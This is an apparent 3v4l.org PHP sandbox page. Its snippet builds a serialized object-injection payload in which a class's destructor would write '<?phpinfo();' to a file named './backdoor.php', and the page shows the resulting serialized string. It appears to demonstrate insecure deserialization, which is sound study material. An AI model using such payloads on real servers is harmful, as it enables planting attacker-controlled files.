3v4l.org

run code in 300+ PHP versions simultaneously
<?php Class some_class { //Public $logfile = “./log/bla.log”; //Public $data = “THIS IS TEMP”; Public function log(){ //File_put_contents($this->logfile, $this->data); } Public function __destruct() { $this->log(); } } $a = new some_class; $a->logfile = "./backdoor.php"; $a->data = "<?phpinfo();"; print serialize($a);
Output for git.master, git.master_jit, rfc.property-hooks
Deprecated: Creation of dynamic property some_class::$logfile is deprecated in /in/4E3gT on line 14 Deprecated: Creation of dynamic property some_class::$data is deprecated in /in/4E3gT on line 15 O:10:"some_class":2:{s:7:"logfile";s:14:"./backdoor.php";s:4:"data";s:12:"<?phpinfo();";}

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
37.53 ms | 402 KiB | 8 Q